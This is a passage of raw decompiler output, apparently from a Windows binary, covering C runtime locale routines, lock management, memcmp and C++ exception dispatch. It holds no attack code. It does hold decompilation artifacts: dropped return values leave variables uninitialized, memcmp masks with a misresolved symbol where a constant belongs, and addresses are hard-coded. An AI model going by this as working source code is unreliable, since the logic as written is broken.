asc_5E8BB0[33]; // 146D052C: using guessed type __int16 word_146D052C; // 146D194C: using guessed type int __ctype1; // 146D1950: using guessed type int __ctype1_refcount; //----- (0057B83B) -------------------------------------------------------- unsigned int __cdecl ___lc_codepage_func() { threadlocaleinfostruct *v0; // eax@1 v0 = _getptd()->ptlocinfo; if ( v0 != ___ptlocinfo ) v0 = __updatetlocinfo(); return v0->lc_codepage; } //----- (0057B854) -------------------------------------------------------- unsigned int *__cdecl ___lc_handle_func() { threadlocaleinfostruct *v0; // eax@1 v0 = _getptd()->ptlocinfo; if ( v0 != ___ptlocinfo ) v0 = __updatetlocinfo(); return v0->lc_handle; } //----- (0057B86D) -------------------------------------------------------- int __cdecl _mtinitlocks() { signed int v0; // esi@1 _RTL_CRITICAL_SECTION *v1; // edi@1 v0 = 0; v1 = lclcritsects; while ( 1 ) { if ( dword_610F2C[2 * v0] == 1 ) { *(&locktable + 2 * v0) = v1; ++v1; if ( !__crtInitCritSecAndSpinCount(*(&locktable + 2 * v0), 0xFA0u) ) break; } ++v0; if ( v0 >= 36 ) return 1; } *(&locktable + 2 * v0) = 0; return 0; } //----- (0057B8B6) -------------------------------------------------------- void __cdecl _mtdeletelocks() { LPCRITICAL_SECTION *v0; // esi@1 LPCRITICAL_SECTION v1; // edi@2 LPCRITICAL_SECTION *v2; // esi@6 v0 = &locktable; do { v1 = *v0; if ( *v0 && v0[1] != (LPCRITICAL_SECTION)1 ) { DeleteCriticalSection(*v0); free(v1); *v0 = 0; } v0 += 2; } while ( (signed int)v0 < (signed int)clocalestr ); v2 = &locktable; do { if ( *v2 ) { if ( v2[1] == (LPCRITICAL_SECTION)1 ) DeleteCriticalSection(*v2); } v2 += 2; } while ( (signed int)v2 < (signed int)clocalestr ); } //----- (0057B90B) -------------------------------------------------------- void __cdecl _unlock(int locknum) { LeaveCriticalSection(*(&locktable + 2 * locknum)); } //----- (0057B920) -------------------------------------------------------- int __cdecl _mtinitlocknum(int locknum) { void *v1; // edi@2 int result; // eax@7 CPPEH_RECORD ms_exc; // [sp+Ch] [bp-18h]@4 if ( *(&locktable + 2 * locknum) ) { result = 1; } else { v1 = malloc(0x18u); if ( !v1 ) { *_errno() = 12; return 0; } _lock(10); ms_exc.disabled = 0; if ( *(&locktable + 2 * locknum) ) { free(v1); } else { if ( !__crtInitCritSecAndSpinCount((_RTL_CRITICAL_SECTION *)v1, 0xFA0u) ) { free(v1); *_errno() = 12; _local_unwind2((int)&ms_exc.prev_er, -1); return 0; } *(&locktable + 2 * locknum) = (LPCRITICAL_SECTION)v1; } ms_exc.disabled = -1; _unlock(10); } return result; } //----- (0057B9C0) -------------------------------------------------------- void __cdecl _lock(int locknum) { if ( !*(&locktable + 2 * locknum) && !_mtinitlocknum(locknum) ) _amsg_exit(17); EnterCriticalSection(*(&locktable + 2 * locknum)); } //----- (0057B9F1) -------------------------------------------------------- int __cdecl ___setlc_active_func() { return __setlc_active; } // 146D1944: using guessed type int __setlc_active; //----- (0057B9F7) -------------------------------------------------------- int *__cdecl ___unguarded_readlc_active_add_func() { return (int *)&__unguarded_readlc_active; } //----- (0057B9FD) -------------------------------------------------------- void __cdecl __freetlocinfo(threadlocaleinfostruct *ptloci) { void *v1; // eax@1 int *v2; // eax@4 int *v3; // eax@8 int *v4; // eax@13 __lc_time_data *v5; // eax@17 v1 = ptloci->lconv_intl; if ( v1 != __lconv_intl && v1 && !*ptloci->lconv_intl_refcount ) { v2 = ptloci->lconv_mon_refcount; if ( v2 && !*v2 && v2 != (int *)__lconv_mon_refcount ) { free(ptloci->lconv_mon_refcount); __free_lconv_mon(ptloci->lconv_intl); } v3 = ptloci->lconv_num_refcount; if ( v3 && !*v3 && v3 != (int *)__lconv_num_refcount ) { free(ptloci->lconv_num_refcount); __free_lconv_num(ptloci->lconv_intl); } free(ptloci->lconv_intl_refcount); free(ptloci->lconv_intl); } v4 = ptloci->ctype1_refcount; if ( v4 != (int *)__ctype1_refcount && v4 && !*v4 ) { free(ptloci->ctype1_refcount); free(ptloci->ctype1 - 127); } v5 = ptloci->lc_time_intl; if ( v5 != (__lc_time_data *)__lc_time_intl && v5 && !v5->refcount ) { __free_lc_time(ptloci->lc_time_intl); free(ptloci->lc_time_intl); } free(ptloci); } // 146D0548: using guessed type int __lc_time_intl; // 146D05B0: using guessed type int __lconv_mon_refcount; // 146D05B8: using guessed type int __lconv_num_refcount; // 146D1950: using guessed type int __ctype1_refcount; //----- (0057BACD) -------------------------------------------------------- threadlocaleinfostruct *__cdecl _updatetlocinfo_lk() { _tiddata *v0; // esi@1 threadlocaleinfostruct *v1; // ecx@1 int *v2; // eax@3 int *v3; // eax@5 int *v4; // eax@7 int *v5; // eax@9 threadlocaleinfostruct *v6; // eax@12 v0 = _getptd(); v1 = v0->ptlocinfo; if ( v1 != ___ptlocinfo ) { if ( v1 ) { v2 = v1->lconv_intl_refcount; --v1->refcount; if ( v2 ) --*v2; v3 = v1->lconv_mon_refcount; if ( v3 ) --*v3; v4 = v1->lconv_num_refcount; if ( v4 ) --*v4; v5 = v1->ctype1_refcount; if ( v5 ) --*v5; --v1->lc_time_curr->refcount; } v0->ptlocinfo = ___ptlocinfo; ++___ptlocinfo->refcount; v6 = ___ptlocinfo; if ( ___ptlocinfo->lconv_intl_refcount ) { ++*___ptlocinfo->lconv_intl_refcount; v6 = ___ptlocinfo; } if ( v6->lconv_mon_refcount ) { ++*v6->lconv_mon_refcount; v6 = ___ptlocinfo; } if ( v6->lconv_num_refcount ) { ++*v6->lconv_num_refcount; v6 = ___ptlocinfo; } if ( v6->ctype1_refcount ) { ++*v6->ctype1_refcount; v6 = ___ptlocinfo; } ++v6->lc_time_curr->refcount; if ( v1 && !v1->refcount && (_UNKNOWN *)v1 != &__initiallocinfo ) __freetlocinfo(v1); } return v0->ptlocinfo; } //----- (0057BB8E) -------------------------------------------------------- int __cdecl __init_collate() { return 0; } //----- (0057BB91) -------------------------------------------------------- void __cdecl _strcats(char *outstr, int n) { int v2; // edi@1 int *v3; // esi@2 v2 = n; if ( n > 0 ) { v3 = &n; do { ++v3; strcat(outstr, (const char *)*v3); --v2; } while ( v2 ); } } //----- (0057BBB5) -------------------------------------------------------- int __cdecl __lc_strtolc(tagLC_STRINGS *names, const char *locale) { char *v2; // esi@1 int v4; // edi@7 char v5; // bl@7 char *v6; // eax@14 unsigned int v7; // eax@24 char *v8; // [sp-10h] [bp-18h]@10 const char *v9; // [sp-Ch] [bp-14h]@10 size_t v10; // [sp-8h] [bp-10h]@10 int i; // [sp+14h] [bp+Ch]@6 memset(names, 0, 0x90u); v2 = (char *)locale; if ( !*locale ) return 0; if ( *locale == 46 && locale[1] ) { strncpy(names->szCodePage, locale + 1, 0xFu); names->szCodePage[15] = 0; return 0; } i = 0; while ( 1 ) { strcspn(v2, "_.,"); if ( !v7 ) return -1; v4 = (int)&v2[v7]; v5 = v2[v7]; if ( i ) { if ( i == 1 ) { if ( v7 >= 0x40 || v5 == 95 ) return -1; v10 = v7; v6 = names->szCountry; } else { if ( i != 2 || v7 >= 0x10 || v5 && v5 != 44 ) return -1; v10 = v7; v6 = names->szCodePage; } v9 = v2; v8 = v6; } else { if ( v7 >= 0x40 || v5 == 46 ) return -1; v10 = v7; v9 = v2; v8 = (char *)names; } strncpy(v8, v9, v10); if ( v5 == 44 ) break; if ( !v5 ) break; ++i; v2 = (char *)(v4 + 1); } return 0; } //----- (0057BC91) -------------------------------------------------------- void __cdecl __lc_lctostr(char *locale, tagLC_STRINGS *names) { strcpy(locale, names->szLanguage); if ( names->szCountry[0] ) _strcats(locale, 2); if ( names->szCodePage[0] ) _strcats(locale, 2); } //----- (0057BCDF) -------------------------------------------------------- threadlocaleinfostruct *__cdecl __updatetlocinfo() { threadlocaleinfostruct *result; // eax@1 _lock(12); _updatetlocinfo_lk(); _unlock(12); return result; } //----- (0057BD1A) -------------------------------------------------------- char *__cdecl setlocale_get_all() { char *result; // eax@1 signed int v1; // ebp@1 const char **v2; // esi@3 const char **v3; // ebx@3 result = outstr; v1 = 1; if ( outstr || (result = (char *)malloc(0x351u), (outstr = result) != 0) ) { *result = 0; _strcats(outstr, 3); v2 = (const char **)&off_6111F0; v3 = (const char **)&off_6111F0; do { strcat(outstr, ";"); v2 += 3; if ( strcmp(*v3, *v2) ) v1 = 0; v3 = v2; _strcats(outstr, 3); } while ( (signed int)v2 < (signed int)&off_611220 ); if ( v1 ) { free(outstr); outstr = 0; result = (char *)off_6111FC; } else { result = outstr; } } return result; } // 6111F0: using guessed type void *off_6111F0; // 6111FC: using guessed type void *off_6111FC; // 611220: using guessed type void *off_611220; //----- (0057BDD9) -------------------------------------------------------- char *__cdecl _expandlocale(char *expr, char *output, tagLC_ID *id, unsigned int *cp, int category) { char *v5; // esi@1 char *result; // eax@2 tagLC_STRINGS names; // [sp+4h] [bp-94h]@12 v5 = expr; if ( !expr ) return 0; if ( *expr != 67 || expr[1] ) { if ( strlen(expr) >= 0x82 || strcmp(cacheout, expr) && strcmp(cachein, expr) ) { if ( __lc_strtolc(&names, expr) || !__get_qualified_locale(&names, &cacheid, &names) ) return 0; cachecp = cacheid.wCodePage; __lc_lctostr(cacheout, &names); if ( !*expr || strlen(expr) >= 0x82 ) v5 = byte_5A62A6; unk_611152 = 0; strncpy(cachein, v5, 0x82u); } if ( id ) memcpy((char *)id, (char *)&cacheid, 6u); if ( cp ) memcpy((char *)cp, (char *)&cachecp, 4u); strcpy(output, cacheout); result = cacheout; } else { result = output; *output = 67; output[1] = 0; if ( id ) { id->wLanguage = 0; id->wCountry = 0; id->wCodePage = 0; } if ( cp ) *cp = 0; } return result; } //----- (0057BF35) -------------------------------------------------------- char *__usercall setlocale_set_cat(int category, const char *locale) { char *result; // eax@1 int v3; // ebx@2 size_t v4; // eax@4 unsigned int v5; // ecx@6 _is_ctype_compatible *v6; // eax@6 unsigned int v7; // edx@8 int v8; // edx@8 int v9; // eax@11 unsigned int v10; // eax@14 int v11; // eax@16 void *v12; // ST1C_4@24 int v13; // [sp+0h] [bp-150h]@0 tagLC_ID oldid; // [sp+4h] [bp-14Ch]@5 _is_ctype_compatible buf2; // [sp+Ch] [bp-144h]@8 int oldhandle; // [sp+14h] [bp-13Ch]@5 tagLC_ID idtemp; // [sp+18h] [bp-138h]@1 _is_ctype_compatible buf1; // [sp+20h] [bp-130h]@6 UINT oldcodepage; // [sp+28h] [bp-128h]@5 char *pch; // [sp+2Ch] [bp-124h]@4 char *oldlocale; // [sp+30h] [bp-120h]@5 int cptemp; // [sp+34h] [bp-11Ch]@1 char *i; // [sp+38h] [bp-118h]@5 __int16 out[127]; // [sp+3Ch] [bp-114h]@13 char lctemp[131]; // [sp+13Ch] [bp-14h]@1 result = _expandlocale((char *)locale, lctemp, &idtemp, (unsigned int *)&cptemp, v13); if ( result ) { v3 = 12 * category; if ( strcmp(lctemp, (&outstr)[12 * category]) ) { v4 = strlen(lctemp); result = (char *)malloc(v4 + 1); pch = result; if ( result ) { oldlocale = (&outstr)[v3]; oldhandle = __lc_handle[category]; i = (char *)(6 * category + 342689056); memcpy((char *)&oldid, (char *)(6 * category + 342689056), 6u); oldcodepage = __lc_codepage; (&outstr)[v3] = strcpy(pch, lctemp); __lc_handle[category] = idtemp.wLanguage; memcpy(i, (char *)&idtemp, 6u); if ( category == 2 ) { v5 = unk_6110C8; i = 0; __lc_codepage = cptemp; buf1.is_clike = unk_6110CC; v6 = Lcid_c; while ( cptemp != v6->id ) { v7 = v6->id; ++i; v6->id = v5; buf2.id = v7; v8 = v6->is_clike; v6->is_clike = buf1.is_clike; v5 = buf2.id; ++v6; buf1.is_clike = v8; if ( (signed int)v6 >= (signed int)cachein ) goto LABEL_12; } if ( i ) { v9 = 8 * (_DWORD)i + 6361256; Lcid_c[0].id = Lcid_c[(_DWORD)i].id; dword_6110AC[0] = dword_6110AC[2 * (signed int)i]; Lcid_c[(_DWORD)i].id = v5; *(_DWORD *)(v9 + 4) = buf1.is_clike; } LABEL_12: if ( i == (char *)5 ) { if ( __crtGetStringTypeA(1u, first_127char, 127, (unsigned __int16 *)out, cptemp, lcid, 1) ) { v10 = 0; do HIBYTE(out[v10++]) &= 1u; while ( v10 < 0x7F ); v11 = memcmp(out, ctype_loc_style, 0xFEu) == 0; } else { v11 = 0; } dword_6110AC[0] = v11; Lcid_c[0].id = __lc_codepage; } else { v11 = dword_6110AC[0]; } __lc_clike = v11; } if ( category == 1 ) __lc_collate_cp = cptemp; if ( (*(int (__cdecl **)())((char *)&off_6111E8 + v3))() ) { v12 = pch; (&outstr)[v3] = oldlocale; free(v12); __lc_handle[category] = oldhandle; __lc_codepage = oldcodepage; result = 0; } else { if ( oldlocale != clocalestr ) free(oldlocale); result = (&outstr)[v3]; } } } else { result = (&outstr)[v3]; } } return result; } // 6111E8: using guessed type int (__cdecl *off_6111E8)(int pexcept); // 146D04F8: using guessed type int __lc_handle[]; // 146D0514: using guessed type int __lc_collate_cp; //----- (0057C1C4) -------------------------------------------------------- char *__usercall setlocale_lk(int _category, const char *_locale) { char *v2; // edi@1 char *v4; // esi@4 int v5; // eax@9 int v6; // ebx@9 unsigned int v7; // eax@10 char **v8; // esi@12 int v9; // eax@14 char *v10; // ebx@17 size_t v11; // eax@17 size_t v12; // edi@17 int v13; // edi@22 int v15; // esi@31 const char **v16; // ebx@31 int i; // [sp+Ch] [bp-1Ch]@12 signed int len; // [sp+10h] [bp-18h]@5 unsigned int lena; // [sp+10h] [bp-18h]@10 int fLocaleSet; // [sp+14h] [bp-14h]@5 char lctemp[131]; // [sp+18h] [bp-10h]@20 v2 = (char *)_locale; if ( !_category ) { len = 1; fLocaleSet = 0; if ( _locale ) { if ( *_locale != 76 || _locale[1] != 67 || _locale[2] != 95 ) { v4 = _expandlocale((char *)_locale, lctemp, 0, 0, 0); if ( !v4 ) return v4; v15 = 0; v16 = (const char **)&outstr; do { if ( v16 != &outstr ) { if ( !strcmp(lctemp, *v16) || setlocale_set_cat(v15, lctemp) ) ++fLocaleSet; else len = 0; } v16 += 3; ++v15; } while ( (signed int)v16 <= (signed int)&off_611220 ); if ( len ) { v4 = setlocale_get_all(); free(outstr); outstr = 0; return v4; } if ( !fLocaleSet ) return 0; } else { do { strpbrk(v2, "=;"); v6 = v5; if ( !v5 || (v7 = v5 - (_DWORD)v2, (lena = v7) == 0) || *(_BYTE *)v6 == 59 ) return 0; i = 1; v8 = &off_6111EC; while ( 1 ) { strncmp(*v8, v2, v7); if ( !v9 ) { if ( lena == strlen(*v8) ) break; } ++i; v8 += 3; if ( (signed int)v8 > (signed int)&off_61121C ) break; v7 = lena; } v10 = (char *)(v6 + 1); strcspn(v10, ";"); v12 = v11; if ( !v11 ) { if ( *v10 != 59 ) return 0; } if ( i <= 5 ) { strncpy(lctemp, v10, v11); lctemp[v12] = 0; if ( setlocale_set_cat(i, lctemp) ) ++fLocaleSet; } v13 = (int)&v10[v12]; if ( !*(_BYTE *)v13 ) break; v2 = (char *)(v13 + 1); } while ( *v2 ); v4 = 0; if ( !fLocaleSet ) return v4; } } return setlocale_get_all(); } if ( _locale ) return setlocale_set_cat(_category, _locale); return (&outstr)[12 * _category]; } // 6111EC: using guessed type char *off_6111EC; // 61121C: using guessed type char *off_61121C; // 611220: using guessed type void *off_611220; //----- (0057C39D) -------------------------------------------------------- char *__cdecl setlocale(int _category, const char *_locale) { char *v2; // esi@4 char *result; // eax@4 void *v4; // esi@5 signed int i; // eax@8 char *retval; // [sp+14h] [bp-1Ch]@6 CPPEH_RECORD ms_exc; // [sp+18h] [bp-18h]@3 if ( _category < 0 || _category > 5 ) { result = 0; } else { _lock(12); ms_exc.disabled = 0; if ( _locale ) { v4 = malloc(0x54u); if ( v4 ) { retval = setlocale_lk(_category, _locale); if ( retval ) { *(_DWORD *)v4 = 0; *((_DWORD *)v4 + 1) = __lc_codepage; *((_DWORD *)v4 + 2) = __lc_collate_cp; for ( i = 0; i <= 5; ++i ) *((_DWORD *)v4 + i + 3) = __lc_handle[i]; *((_DWORD *)v4 + 9) = __lc_clike; *((_DWORD *)v4 + 10) = __mb_cur_max; *((_DWORD *)v4 + 11) = __lconv_intl_refcount; *((_DWORD *)v4 + 12) = __lconv_num_refcount; *((_DWORD *)v4 + 13) = __lconv_mon_refcount; *((_DWORD *)v4 + 14) = __lconv; *((_DWORD *)v4 + 15) = __lconv_intl; *((_DWORD *)v4 + 16) = __ctype1_refcount; *((_DWORD *)v4 + 17) = __ctype1; *((_DWORD *)v4 + 18) = _pctype; *((_DWORD *)v4 + 19) = __lc_time_curr; *((_DWORD *)v4 + 20) = __lc_time_intl; if ( !___ptlocinfo->refcount && (_UNKNOWN *)___ptlocinfo != &__initiallocinfo ) __freetlocinfo(___ptlocinfo); ___ptlocinfo = (threadlocaleinfostruct *)v4; _updatetlocinfo_lk(); } } else { retval = 0; } if ( !retval ) { if ( v4 ) free(v4); } ms_exc.disabled = -1; _unlock(12); } else { v2 = setlocale_lk(_category, 0); _local_unwind2((int)&ms_exc.prev_er, -1); result = v2; } } return result; } // 610D84: using guessed type char **__lconv; // 6118F0: using guessed type char *(*__lc_time_curr)[43]; // 146D04F8: using guessed type int __lc_handle[]; // 146D0514: using guessed type int __lc_collate_cp; // 146D0548: using guessed type int __lc_time_intl; // 146D05B0: using guessed type int __lconv_mon_refcount; // 146D05B8: using guessed type int __lconv_num_refcount; // 146D194C: using guessed type int __ctype1; // 146D1950: using guessed type int __ctype1_refcount; //----- (0057C550) -------------------------------------------------------- int __cdecl memcmp(const void *Buf1, const void *Buf2, size_t Size) { int result; // eax@1 const void *v4; // esi@2 const void *v5; // edi@2 bool v6; // cf@4 unsigned __int8 v7; // cl@7 unsigned __int8 v8; // dl@7 bool v9; // zf@10 size_t v10; // ecx@10 unsigned int v11; // ecx@14 unsigned int v12; // edx@14 unsigned int v13; // ecx@16 unsigned int v14; // edx@16 int v15; // edx@20 int v16; // ecx@20 unsigned int v17; // ecx@24 unsigned int v18; // edx@24 result = Size; if ( !Size ) return result; v4 = Buf1; v5 = Buf2; if ( !(((unsigned __int8)Buf2 | (unsigned __int8)Buf1) & 3) ) { result = Size & 3; v10 = Size >> 2; v9 = Size >> 2 == 0; if ( !(Size >> 2) ) goto LABEL_28; do { if ( !v10 ) break; v9 = *(_DWORD *)v4 == *(_DWORD *)v5; v4 = (char *)v4 + 4; v5 = (char *)v5 + 4; --v10; } while ( v9 ); if ( v9 ) { LABEL_28: if ( !result ) return result; v15 = *(_DWORD *)v4; v16 = *(_DWORD *)v5; v6 = (unsigned __int8)*(_DWORD *)v4 < (unsigned __int8)*(_DWORD *)v5; if ( (unsigned __int8)*(_DWORD *)v4 == (unsigned __int8)*(_DWORD *)v5 ) { --result; if ( !result ) return result; v6 = BYTE1(v15) < BYTE1(v16); if ( BYTE1(v15) == BYTE1(v16) ) { --result; if ( !result ) return result; v17 = (unsigned int)&wholesaver.ws_savestore[103].esc_skill.buffer[14116] & v16; v18 = (unsigned int)&wholesaver.ws_savestore[103].esc_skill.buffer[14116] & v15; v6 = v18 < v17; if ( v18 == v17 ) { --result; return result; } } } } else { v11 = *((_DWORD *)v4 - 1); v12 = *((_DWORD *)v5 - 1); v6 = (unsigned __int8)v11 < (unsigned __int8)v12; if ( (_BYTE)v11 == (_BYTE)v12 ) { v6 = BYTE1(v11) < BYTE1(v12); if ( BYTE1(v11) == BYTE1(v12) ) { v13 = v11 >> 16; v14 = v12 >> 16; v6 = (unsigned __int8)v13 < (unsigned __int8)v14; if ( (_BYTE)v13 == (_BYTE)v14 ) v6 = BYTE1(v13) < BYTE1(v14); } } } return -v6 - (v6 - 1); } if ( !(Size & 1) ) { main_loop_2: while ( 1 ) { v6 = *(_BYTE *)v4 < *(_BYTE *)v5; if ( *(_BYTE *)v4 != *(_BYTE *)v5 ) break; v7 = *((_BYTE *)v4 + 1); v8 = *((_BYTE *)v5 + 1); v6 = v7 < v8; if ( v7 != v8 ) break; v5 = (char *)v5 + 2; v4 = (char *)v4 + 2; result -= 2; if ( !result ) return result; } return -v6 - (v6 - 1); } v6 = *(_BYTE *)Buf1 < *(_BYTE *)Buf2; if ( *(_BYTE *)Buf1 != *(_BYTE *)Buf2 ) return -v6 - (v6 - 1); v4 = (char *)Buf1 + 1; v5 = (char *)Buf2 + 1; result = Size - 1; if ( Size != 1 ) goto main_loop_2; return result; } //----- (0057C608) -------------------------------------------------------- int __usercall TypeMatch(_s_HandlerType *pCatch, _s_CatchableType *pCatchable, _s_ThrowInfo *pThrow) { TypeDescriptor *v3; // eax@1 TypeDescriptor *v4; // ecx@3 unsigned int v5; // eax@7 v3 = pCatch->pType; return !v3 || !LOBYTE(v3[1].hash) || ((v4 = pCatchable->pType, v3 == v4) || !strcmp((const char *)&v3[1], (const char *)&v4[1])) && (!(pCatchable->properties & 2) || pCatch->adjectives & 8) && ((v5 = pThrow->attributes, !(pThrow->attributes & 1)) || pCatch->adjectives & 1) && (!(v5 & 2) || pCatch->adjectives & 2); } //----- (0057C657) -------------------------------------------------------- int __usercall FrameUnwindFilter(_EXCEPTION_POINTERS *pExPtrs) { if ( pExPtrs->ExceptionRecord->ExceptionCode == -529697949 ) { _getptd()->_ProcessingThrow = 0; terminate(); } return 0; } //----- (0057C675) -------------------------------------------------------- void __cdecl __FrameUnwindToState(EHRegistrationNode *pRN, void *pDC, _s_FuncInfo *pFuncInfo, int targetState) { signed int v4; // esi@1 _tiddata *v5; // eax@1 signed int v6; // eax@6 _s_UnwindMapEntry *v7; // ecx@6 _tiddata *v8; // eax@10 v4 = pRN->state; v5 = _getptd(); ++v5->_ProcessingThrow; while ( v4 != targetState ) { if ( v4 <= -1 || v4 >= pFuncInfo->maxState ) _inconsistency(); v6 = v4; v7 = &pFuncInfo->pUnwindMap[v4]; v4 = v7->toState; if ( v7->action ) { pRN->state = v4; _CallSettingFrame((unsigned int)pFuncInfo->pUnwindMap[v6].action, (unsigned int)pRN, 0x103u); } } if ( _getptd()->_ProcessingThrow > 0 ) { v8 = _getptd(); --v8->_ProcessingThrow; } } //----- (0057C743) -------------------------------------------------------- void __cdecl __DestructExceptionObject(EHExceptionRecord *pExcept, char fThrowNotAllowed) { void *v2; // ecx@2 void *v3; // [sp+0h] [bp-24h]@0 int v4; // [sp+4h] [bp-20h]@0 if ( pExcept ) { v2 = pExcept->params.pThrowInfo->pmfnUnwind; if ( v2 ) _CallMemberFunction1(pExcept->params.pExceptionObject, v2, v3, v4); } } //----- (0057C788) -------------------------------------------------------- void *__usercall AdjustPointer(void *pThis, PMD *pmd) { void *v2; // esi@1 void *result; // eax@1 v2 = pThis; result = (char *)pThis + pmd->mdisp; if ( pmd->pdisp >= 0 ) result = (char *)result + pmd->pdisp + *(_DWORD *)(*(_DWORD *)((char *)v2 + pmd->pdisp) + pmd->vdisp); return result; } //----- (0057C7A7) -------------------------------------------------------- bool __cdecl __uncaught_exception() { return _getptd()->_ProcessingThrow != 0; } //----- (0057C7BA) -------------------------------------------------------- void *__usercall CallCatchBlock(void *handlerAddress, EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, _s_FuncInfo *pFuncInfo, int CatchDepth, unsigned int NLGCode) { void *v7; // ebx@1 void *result; // eax@1 FrameInfo FrameInfo; // [sp+Ch] [bp-50h]@1 int ExceptionObjectDestroyed; // [sp+14h] [bp-48h]@1 void *pSaveExContext; // [sp+18h] [bp-44h]@1 void *pSaveException; // [sp+1Ch] [bp-40h]@1 FrameInfo *pFrameInfo; // [sp+20h] [bp-3Ch]@1 void *saveESP; // [sp+24h] [bp-38h]@1 void *continuationAddress; // [sp+3Ch] [bp-20h]@1 CPPEH_RECORD ms_exc; // [sp+44h] [bp-18h]@1 v7 = handlerAddress; continuationAddress = handlerAddress; ExceptionObjectDestroyed = 0; saveESP = (void *)*((_DWORD *)pRN - 1); pFrameInfo = _CreateFrameInfo(&FrameInfo, pExcept->params.pExceptionObject); pSaveException = _getptd()->_curexception; pSaveExContext = _getptd()->_curcontext; _getptd()->_curexception = pExcept; _getptd()->_curcontext = pContext; ms_exc.disabled = 1; continuationAddress = _CallCatchBlock2(pRN, pFuncInfo, v7, CatchDepth, NLGCode); ms_exc.disabled = -1; FrameInfo.pExceptionObject = _L20061; *((_DWORD *)pRN - 1) = saveESP; _FindAndUnlinkFrame(pFrameInfo); _getptd()->_curexception = pSaveException; result = _getptd(); *((_DWORD *)result + 32) = pSaveExContext; if ( pExcept->ExceptionCode == -529697949 ) { if ( pExcept->NumberParameters == 3 ) { result = (void *)pExcept->params.magicNumber; if ( result == (void *)429065504 || result == (void *)429065505 ) { if ( !ExceptionObjectDestroyed && continuationAddress ) { result = (void *)IsExceptionObjectToBeDestroyed(pExcept->params.pExceptionObject); if ( result ) { LOBYTE(result) = _abnormal_termination(); __DestructExceptionObject(pExcept, (char)result); } } } } } return result; } // 57C8FD: using guessed type int __cdecl $L20061(int pExcept, int pRN, int pContext, int pFuncInfo, int CatchDepth, int NLGCode); //----- (0057C97E) -------------------------------------------------------- void __usercall BuildCatchObject(void *pRN, _s_CatchableType *pConv, EHExceptionRecord *pExcept, _s_HandlerType *pCatch) { _s_CatchableType *v4; // esi@1 char *v5; // edi@1 TypeDescriptor *v6; // ecx@1 int v7; // ecx@3 void *v8; // eax@10 unsigned int v9; // ST0C_4@21 void *v10; // eax@21 void *v11; // eax@25 PMD *v12; // ecx@25 void *v13; // eax@26 void *v14; // eax@27 void *v15; // [sp-8h] [bp-2Ch]@7 int v16; // [sp+0h] [bp-24h]@0 v4 = pConv; v5 = (char *)pRN; v6 = pCatch->pType; if ( v6 ) { if ( LOBYTE(v6[1].hash) ) { v7 = pCatch->dispCatchObj; if ( v7 || BYTE3(pCatch->adjectives) & 0x80 ) { if ( (pCatch->adjectives & 0x80000000u) == 0 ) v5 = (char *)pRN + v7 + 12; v15 = pExcept->params.pExceptionObject; if ( pCatch->adjectives & 8 ) { if ( _ValidateRead(v15, 1u) && _ValidateWrite(v5, 1u) ) { v8 = pExcept->params.pExceptionObject; *(_DWORD *)v5 = v8; LABEL_11: *(_DWORD *)v5 = AdjustPointer(v8, &v4->thisDisplacement); return; } LABEL_28: _inconsistency(); } if ( v4->properties & 1 ) { if ( !_ValidateRead(v15, 1u) || !_ValidateWrite(v5, 1u) ) goto LABEL_28; memmove(v5, (char *)pExcept->params.pExceptionObject, v4->sizeOrOffset); if ( v4->sizeOrOffset == 4 ) { v8 = *(void **)v5; if ( *(_DWORD *)v5 ) goto LABEL_11; } } else { if ( v4->copyFunction ) { if ( !_ValidateRead(v15, 1u) || !_ValidateWrite(v5, 1u) || !_ValidateExecute((int (__stdcall *)())v4->copyFunction) ) goto LABEL_28; v11 = pExcept->params.pExceptionObject; v12 = &v4->thisDisplacement; if ( v4->properties & 4 ) { v13 = AdjustPointer(v11, v12); _CallMemberFunction1(v5, v4->copyFunction, v13, 1); } else { v14 = AdjustPointer(v11, v12); _CallMemberFunction1(v5, v4->copyFunction, v14, v16); } } else { if ( !_ValidateRead(v15, 1u) || !_ValidateWrite(v5, 1u) ) goto LABEL_28; v9 = v4->sizeOrOffset; v10 = AdjustPointer(pExcept->params.pExceptionObject, &v4->thisDisplacement); memmove(v5, (char *)v10, v9); } } } } } } //----- (0057CAFA) -------------------------------------------------------- void __usercall CatchIt(EHRegistrationNode *pRN, _s_HandlerType *pCatch, _s_CatchableType *pConv, _s_TryBlockMapEntry *pEntry, EHExceptionRecord *pExcept, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, int CatchDepth, EHRegistrationNode *pMarkerRN, char IsRethrow) { EHRegistrationNode *v11; // [sp-8h] [bp-8h]@4 if ( pConv ) BuildCatchObject(pExcept, pRN, pCatch, pConv); if ( pMarkerRN ) v11 = pMarkerRN; else v11 = pRN; _UnwindNestedFrames(v11, pExcept); __FrameUnwindToState(pRN, pDC, pFuncInfo, pEntry->tryLow); } //----- (0057CB61) -------------------------------------------------------- void __cdecl FindHandlerForForeignException(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, int curState, int CatchDepth, EHRegistrationNode *pMarkerRN) { _s_TryBlockMapEntry *i; // edi@4 int v9; // eax@7 int v10; // ecx@7 char v11; // [sp-8h] [bp-14h]@4 unsigned int end; // [sp+4h] [bp-8h]@4 unsigned int curTry; // [sp+8h] [bp-4h]@4 if ( pExcept->ExceptionCode != -2147483645 && (!_getptd()->_translator || !_CallSETranslator(pExcept, pRN, pContext, pDC, pFuncInfo, CatchDepth, pMarkerRN)) ) { for ( i = _GetRangeOfTrysToCheck(pFuncInfo, CatchDepth, curState, &curTry, &end); curTry < end; ++i ) { if ( curState >= i->tryLow ) { if ( curState <= i->tryHigh ) { v9 = (int)&i->pHandlerArray[i->nCatches]; v10 = *(_DWORD *)(v9 - 12); if ( !v10 || !*(_BYTE *)(v10 + 8) ) CatchIt( pExcept, pRN, pContext, pDC, pFuncInfo, (_s_HandlerType *)(v9 - 16), 0, i, CatchDepth, pMarkerRN, v11); } } ++curTry; } } } //----- (0057CC1F) -------------------------------------------------------- void __cdecl FindHandler(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, char recursive, int CatchDepth, EHRegistrationNode *pMarkerRN) { int v8; // eax@1 EHExceptionRecord *v9; // ebx@4 unsigned int v10; // eax@6 _tiddata *v11; // eax@10 const void *v12; // esi@10 int v13; // eax@14 unsigned int v14; // eax@21 int v15; // esi@23 _s_TryBlockMapEntry *v16; // eax@23 _s_HandlerType *v17; // esi@28 _s_CatchableTypeArray *v18; // ecx@29 void *v19; // edx@29 int v20; // ecx@29 char 